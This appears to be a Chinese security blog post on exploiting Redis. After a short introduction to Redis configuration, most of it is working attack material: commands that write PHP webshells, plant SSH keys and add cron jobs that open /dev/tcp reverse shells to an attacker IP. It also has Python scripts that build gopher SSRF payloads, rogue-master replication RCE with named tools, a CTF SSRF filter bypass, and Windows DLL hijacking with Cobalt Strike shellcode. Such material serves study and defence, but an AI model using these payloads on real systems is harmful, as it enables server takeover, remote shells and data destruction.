redis漏洞分析
redis基础
edis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf(Windows 名为redis.windows.conf)。你可以通过 CONFIG命令查看或设置配置项。
Redis CONFIG 查看配置命令格式如下:
redis 127.0.0.1:6379> CONFIG GET CONFIG_SETTING_NAME
使用 *****号获取所有配置项:
redis 127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
3) "requirepass"
4) ""
5) "masterauth"
6) ""
7) "unixsocket"
8) ""
9) "logfile"
......
几个redis.conf 配置项说明如下:
| 配置项 | 说明 |
|---|---|
port 6379 |
指定 Redis 监听端口,默认端口为 6379 |
bind 127.0.0.1 |
绑定的主机地址 |
timeout 300 |
当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能 |
databases 16 |
设置数据库的数量,默认数据库为0,可以使用 SELECT 命令在连接上指定数据库id |
save <seconds> <changes> |
指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 |
dbfilename dump.rdb |
指定本地数据库文件名,默认值为 dump.rdb |
dir ./ |
指定本地数据库存放目录 |
SET 命令
Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。
redis 127.0.0.1:6379> SET KEY_NAME VALUE
Get 命令
Redis Get 命令用于获取指定 key 的值。如果 key 不存在,返回 nil 。
redis 127.0.0.1:6379> GET KEY_NAME
Flushall 命令
Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。
redis 127.0.0.1:6379> FLUSHALL
Redis 数据备份与恢复
Redis SAVE命令用于创建当前数据库的备份。Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘。
redis 127.0.0.1:6379> SAVE
OK
该命令将在 redis 安装目录中创建dump.rdb文件。
恢复数据
如果需要恢复数据,只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 CONFIG命令,如下所示:
redis 127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis/bin"
密码设置
我们可以通过以下命令查看是否设置了密码验证:
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""
默认情况下 requirepass 参数是空的,也就是说默认情况下是无密码验证的,这就意味着你无需通过密码验证就可以连接到 redis 服务。
你可以通过以下命令来修改该参数:
127.0.0.1:6379> CONFIG set requirepass "657260"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "657260"
设置密码后,客户端连接 redis 服务就需要密码验证,否则无法执行命令。
Redis未授权访问漏洞
漏洞影响版本:Redis 2.x,3.x
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
192.168.1.111:6739> info
keys * #查看所有key
get key_name #查看key的值,例如get password
flushall #删除所有数据
del key #删除键为key的数据
121.201.22.96:6379> config get dir #查看当前目录
1) "dir"
2) "D:\\Redis"
config set dir <What Dir You want>
config set dbfilename <File Name.php>
利用Redis写入Webshell
服务端的redis默认没有设置密码认证,在攻击机上能用redis-cli可以直接登陆连接。若服务端存在Web服务,并且知道Web目录的绝对路径,那么可以向该目录写入webshell,然后使用蚁剑之类的工具连接getshell。
已知Web目录的路径为/var/www/html
将dir设置为/var/www/html目录,意为将指定本地数据库存放目录设置为/var/www/html。将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php。再执行save命令就可以写入一个路径为/var/www/html/shell.php的文件,save命令将当前redis实例的数据写入到磁盘,持久化保存

操作步骤:
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST[whoami]);?>"
save
写webshell的时候,可以使用:
set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
\r\n\r\n 是换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
利用Redis写入SSH公钥
通过redis向目标服务器写入ssh公钥,将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,本地客户端通过对应的私钥进行免密登录。
条件是服务端存在.ssh目录并且有写入的权限,还需要redis是root启动,因为非root权限无法进入/root目录。
首先在攻击机的/root/.ssh目录里生成ssh公钥key:
cd ~/.ssh
ssh-keygen -t rsa

接着将公钥写入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合):
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
连接目标服务器上的redis服务,将保存的公钥key.txt写入redis数据库:
cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey
使用redis-cli -h ip,将文件写入:

连接目标机器redis,设置redis的路径为/root/.ssh/和保存文件名为authorized_keys,然后保存。
redis-cli -h 192.168.43.82
config set dir /root/.ssh
config set dbfilename authorized_keys
save

ssh利用私钥成功登录。
利用Redis写入计划任务
写入计划任务和写webshell和ssh公钥的原理类似,连接服务端的redis,写入反弹shell的计划任务:
redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.43.247/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
然后Kali上监听12345端口:
nc -lvp 12345
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Redis 未授权访问漏洞在 SSRF 中的利用
绝对路径写WebShell
首先构造redis命令:
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下所示,成功在受害主机上面写入WebShell:
写入SSH公钥
首先在攻击机的/root/.ssh目录里生成ssh公钥key:
ssh-keygen -t rsa
将生成的id_rsa.pub里的内容复制出来构造redis命令:
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
然后编写脚本,将其转化为Gopher协议的格式:
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
执行该脚本后生成payload,同样将生成的payload进行url二次编码,然后利用受害机上的SSRF打过去:
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524566%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs%252BXU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2%2FhKINtJj1JX8R5Uz%252B3six%252BMVsxANT%252BxOMdjCq%252B%252B1skSnPczQz2GmlvfAObngQK2Eqim%252B6xewOL%252BZd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe%2FLjJO6%252B59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk%253D%2520root%2540kali%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
创建计划任务反弹Shell
注意:这个只能在Centos上使用,别的不行,原因上面已经说过了。
构造redis的命令如下:
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.247/2333 0>&1\n\n'config
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.247/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
然后编写脚本,将其转化为Gopher协议的格式:
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
reverse_ip="192.168.43.247"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在受害机上面写入计划任务,等到时间后,攻击机上就会获得目标主机的shell。
Redis 基于主从复制的命令执行
Redis 主从复制进行 RCE
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。
实验环境:
攻击机Kali:192.168.43.247
受害机Ubuntu:192.168.43.82
利用 redis-rogue-server 工具
下载地址:https://github.com/n0b0dyCN/redis-rogue-server
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
使用方法:
python3 redis-rogue-server.py --rhost 192.168.43.82 --lhost 192.168.43.247
# python3 redis-rogue-server.py --rhost rhost --lhost lhost
执行后,可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):
比如我们选择i来获得一个交互式的shell,执行在里面执行系统命令即可:
也可以选择r来获得一个反弹shell:
前面说了,该工具只能在目标存在Redis未授权访问漏洞时使用,当目标Redis存在密码时是不能使用该工具的。所以我们还要看看别的工具。
利用 redis-rce 工具
下载地址:https://github.com/Ridter/redis-rce
可以看到该工具有一个-a选项,可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260
# python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
执行后,同样可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):
比如我们选择i来获得一个交互式的shell,执行在里面执行系统命令即可:
也可以选择r来获得一个反弹shell:
Redis 主从复制在 SSRF 中的利用
这里,我们通过 [网鼎杯 2020 玄武组]SSRFMe这道 CTF 题目来演示。
进入题目,给出源码:
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
这源码见过好多次了,让我们从本地访问hint.php,但是要先绕过对内网IP的检测。这里我们可以利用curl和parse_url的解析差异来绕过,payload:
/?url=http://@127.0.0.1:80@www.baidu.com/hint.php
但是这里并不成功,因为这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即0.0.0.0。0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:
/?url=http://0.0.0.0/hint.php
如下图所示,成功访问hint.php并得到源码:
在hint.php中发现了Redis的密码为root,看来是要利用主从复制来打Redis了。
需要以下即可工具:
https://github.com/xmsec/redis-ssrf(用于生成gopher协议的payload并搭建恶意的Redis主机)
https://github.com/n0b0dyCN/redis-rogue-server(需要利用这里面的exp.so)
首先来看redis-ssrf中的ssrf-redis.py脚本:
如上图所示,通过选择不同的mode选项可以选择不同的攻击方式。这里我们选择mode 3,通过主从复制在目标主机上执行命令。需要修改一下几个地方:
将
lhost改为攻击者vps的ip(47.xxx.xxx.72),用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。将command修改为要执行的命令
将第140行的 “127.0.0.1” 改为 “0.0.0.0” ,用于绕过题目对于内网IP的限制。
最后在第160行填写上Redis的密码 “root”。
由于题目需要发送的是GET请求,所以需要将payload进行url二次编码,得到最终的payload为:
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A47.101.57.72%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
然后将redis-rogue-server中的exp.so复制到redis-ssrf目录中,并使用redis-ssrf中的rogue-server.py在攻击者vps的6666端口上面搭建恶意的Redis主机。
但是这里需要写个死循环一直跑rogue-server.py,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。
# do.sh
while [ "1" = "1" ]
do
python rogue-server.py
done
执行do.sh脚本即可:
然后执行之前生成的payload:
如上图所示,成功执行命令并得到flag。
Windows中redis未授权通过dll劫持上线
寻找DLL劫持目标
连接redis-cli.exe -h 192.168.254.130,使用bgsave命令,查看缺少的dll
从本地的system32文件夹下提取出 dbghelp.dll,然后使用 dllHijack 脚本,
用脚本生成dbghelp.dll 的Visual Studio 2019的项目文件
python3 DllHijacker.py dbghelp.dll
再用visual Studio 2019 打开项目文件(2022版我没有试过)
请在VS2019中修改项目的属性如果不改,那么靶机无法加载生成出来的DLL
属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD
属性->C/C++->代码生成->禁用安全检查GS
关闭生成清单 属性->链接器->清单文件->生成清单 选择否
然后打开CS 生成一个payload 输出格式为C

在VS2019中替换 dllmain.cpp 中的shellcode

然后选择 Release x64 生成DLL文件
把生成好的文件上传到 RedisWriteFile.py 同级目录下面
然后把脚本 RedisWriteFile 文件夹上传到你的VPS上,
执行命令,记得在安全组里面开放你vps的16379端口
#上传DLL到靶机
root@hcss-ecs-0abd:/home/Redis_Server/RedisWriteFile-master# python3 RedisWriteFile.py --rhost 39.99.132.147 --rport 6379 --lhost 124.71.111.64 --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'
______ _ _ _ _ _ _ ______ _ _
| ___ \ | (_) | | | | (_) | | ___(_) |
| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___
| // _ \/ _ | / __| |/\| | ''__| | __/ _ \ _| | | |/ _ \
| |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/
\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___|
Author : R3start
Reference : redis-rogue-server.py
[info] TARGET 39.98.110.252:6379
[info] SERVER 124.71.111.64:16379
[info] 连接恶意主服务器: 124.71.111.64:16379
[info] 连接恶意主状态: +OK
[info] 设置写出路径为: C:\\Program Files\\Redis\\
[info] 设置写出路径状态: +OK
[info] 设置写出文件为: dbghelp.dll
[info] 设置写出文件状态: +OK
[info] 断开主从连接: +OK
[info] 恢复原始文件名: +OK
#连接靶机redis 执行命令加载DLL
root@hcss-ecs-0abd:/home/Redis_Server/RedisWriteFile-master# redis-cli -h 39.98.110.252
39.98.110.252:6379> bgsave
Background saving started
然后就可以看到靶机上线CS了
msf生成c的payload

将dbghelp项目中的shellcode进行替换

,release生成
使用主从复制将修改后的dll写入到目标指定位置
下载RedisWriteFile工具,将修改后的dll放在同一个目录下,执行命令
python RedisWriteFile.py --rhost=192.168.254.130 --rport=6379 --lhost=192.168.254.129 --rpath="C:\\Users\\superman\\Desktop\\Redis-x64-3.0.504\\" --rfile="dbghelp.dll" --lfile="dbghelp.dll"

可以看到目标机器被写入了dll文件

在redis客户端连接执行bgsave,尝试触发劫持dll

同时间可以看到msf收到了shell


浙公网安备 33010602011771号